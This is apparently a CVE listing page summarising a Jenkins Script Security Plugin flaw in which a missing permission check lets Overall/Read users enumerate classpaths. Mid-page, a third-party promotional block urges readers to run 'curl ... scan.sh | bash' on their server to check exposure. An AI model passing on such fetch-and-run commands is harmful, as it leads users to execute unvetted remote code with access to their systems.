NVD · CVE-2026-42519

CVE-2026-42519

Published: Wed, 29 Apr 2026 14:16

CVE-2026-42519

Summary

A missing permission check in Jenkins Script Security Plugin 1399.ve6a_66547f6e1 and earlier allows attackers with Overall/Read permission to enumerate pending and approved Script Security classpaths.

Are YOU affected by CVE-2026-42519?

5-second check on your actual server. Reads /etc/os-release, uname -r, and dpkg-query; matches against the live USN + Debian Security Tracker feeds; tells you whether CVE-2026-42519 (and any other live CVE) applies. Anonymous, no signup.

curl https://mindsparkstack.com/scan.sh | bash

Form-based quickscan Read the bash source first

References

https://www.jenkins.io/security/advisory/2026-04-29/#SECURITY-3662

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